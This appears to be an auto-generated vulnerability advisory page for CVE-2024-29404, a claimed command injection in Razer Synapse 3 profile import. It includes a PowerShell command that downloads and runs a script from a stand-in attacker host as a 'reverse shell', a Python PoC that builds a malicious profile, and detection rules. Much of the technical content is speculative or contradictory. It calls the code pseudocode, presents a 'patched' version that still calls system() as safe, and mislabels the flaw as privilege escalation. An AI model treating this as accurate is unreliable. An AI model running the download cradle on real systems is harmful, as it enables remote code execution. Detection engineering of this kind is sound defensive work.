CVE-2024-29404
Executive Summary
CVE-2024-29404 is a local privilege escalation vulnerability in Razer Synapse 3 (version 3.9.131.20813) and the Synapse 3 App (version 20240213). The flaw resides in the Chroma Effects function within the Profiles component, specifically in the handling of the export parameter. A local attacker can exploit this by crafting a malicious profile export file that, when imported by a victim, executes arbitrary code on the system. The vulnerability is currently unpatched by Razer, and a public proof-of-concept (PoC) exists, making it a high-risk threat for users of the affected software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary desktop application (Razer Synapse 3) distributed through Razer’s official channels. The risk is primarily to end-users who install the software from Razer’s website or Windows Store.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (AV:L) – Requires physical or remote desktop access.
- Attack Complexity: Low (AC:L) – No special conditions needed.
- Privileges Required: Low (PR:L) – Attacker needs a standard user account.
- User Interaction: Required (UI:R) – Victim must import the malicious profile.
- Scope: Unchanged (S:U) – Exploit does not cross trust boundaries.
- Confidentiality/Integrity/Availability Impact: High (C:H/I:H/A:H) – Full system compromise.
Threat Level: High. The vulnerability is unpatched, has a public PoC, and allows arbitrary code execution with user interaction.
Deep Dive & Mechanics
The vulnerability is a command injection flaw in the export parameter of the Chroma Effects function. Razer Synapse 3 allows users to create and export custom lighting profiles (Chroma Effects) to share with others. The export function writes profile data to a file, but the export parameter is not properly sanitized. An attacker can embed shell commands within the profile name or description fields, which are then executed when the profile is imported by another user.
Attack Flow:
- Attacker creates a malicious Chroma Effects profile with a crafted
exportparameter containing a command (e.g.,calc.exeor a reverse shell). - Attacker shares the profile file (e.g., via email, USB, or file share).
- Victim imports the profile into Razer Synapse 3.
- The application processes the
exportparameter without sanitization, executing the embedded command. - The command runs with the privileges of the victim user, potentially leading to full system compromise.
Root Cause: The export parameter is passed directly to a system call (e.g., CreateProcess or system()) without validation or escaping.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current production version. The following is a conceptual comparison:
Vulnerable Code (Razer Synapse 3.9.131.20813):
// Pseudocode for profile import
void ImportProfile(const char* profilePath) {
char command[1024];
snprintf(command, sizeof(command), "export %s", profilePath);
system(command); // Unsafe: executes arbitrary commands
}
Patched Code (Hypothetical):
void ImportProfile(const char* profilePath) {
// Sanitize input: escape shell metacharacters
char sanitizedPath[1024];
sanitizeShellInput(profilePath, sanitizedPath, sizeof(sanitizedPath));
char command[1024];
snprintf(command, sizeof(command), "export %s", sanitizedPath);
system(command); // Now safe
}
Key Difference: The patched version would sanitize the export parameter to prevent command injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Razer Synapse 3 (v3.9.131.20813) installed on a Windows target.
- A local user account on the target.
- Ability to deliver a malicious profile file to the victim.
Exploit Steps:
- Create a malicious profile file with an embedded command. Example using PowerShell:
# Create a profile with a reverse shell command $profileContent = @" { "name": "Malicious Profile", "export": "calc.exe" } "@ $profileContent | Out-File -FilePath "malicious_profile.razerchroma" - Deliver the file to the victim (e.g., via email attachment).
- Victim imports the profile via Razer Synapse 3 → Profiles → Import.
- The command executes (e.g.,
calc.exelaunches). For a reverse shell, replacecalc.exewith:powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
Proof-of-Concept (PoC) Code:
# CVE-2024-29404 PoC - Generate malicious Razer Synapse profile
import json
import sys
def generate_malicious_profile(command):
profile = {
"name": "Exploit Profile",
"export": command
}
with open("malicious_profile.razerchroma", "w") as f:
json.dump(profile, f)
print("[+] Malicious profile created: malicious_profile.razerchroma")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python exploit.py <command>")
sys.exit(1)
generate_malicious_profile(sys.argv[1])
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual child processes spawned by
Razer Synapse 3.exe(e.g.,cmd.exe,powershell.exe,calc.exe). - Alert on file writes to
%APPDATA%\Razer\Synapse3\Profiles\with suspicious content. - Use Sysmon Event ID 1 (Process Creation) to detect command-line anomalies.
Defense:
- Block execution of
Razer Synapse 3.exefrom non-standard paths. - Restrict user ability to import profiles via Group Policy.
- Deploy application whitelisting (e.g., AppLocker) to prevent untrusted executables.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | malicious_profile.razerchroma |
Malicious profile file |
| Process | Razer Synapse 3.exe spawning cmd.exe or powershell.exe |
Unusual child process |
| Registry | HKCU\Software\Razer\Synapse3\Profiles\* |
Suspicious profile entries |
| Network | Outbound connection to attacker IP on port 443 or 80 | Reverse shell traffic |
| Command Line | export calc.exe or export powershell ... |
Malicious export parameter |
Detection Engineering
YARA Rule
rule CVE_2024_29404_Razer_Synapse_Exploit {
meta:
description = "Detects malicious Razer Synapse profile files exploiting CVE-2024-29404"
author = "Valters IT"
date = "2024-03-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29404"
strings:
$export = "export" nocase
$cmd = /(cmd|powershell|calc|wscript|cscript)/ nocase
condition:
$export and $cmd and filesize < 10KB
}
Sigma Rule
title: CVE-2024-29404 Razer Synapse Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection via Razer Synapse profile import
author: Valters IT
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: 'Razer Synapse 3.exe'
Image|endswith:
- 'cmd.exe'
- 'powershell.exe'
- 'calc.exe'
condition: selection
falsepositives:
- Legitimate Razer Synapse updates
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2024-29404 Razer Synapse Command Injection - Outbound Reverse Shell";
flow:to_server,established;
content:"GET /shell.ps1"; http_uri;
classtype:attempted-user;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable profile import in Razer Synapse 3 until a patch is released.
- Educate users not to import profiles from untrusted sources.
- Monitor for suspicious activity using the provided detection rules.
Long-Term Fix:
- Razer must release a patch that sanitizes the
exportparameter. Until then, consider using an alternative tool for Chroma effects.
Workaround:
- Block the
exportfunction via firewall or application control policies.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.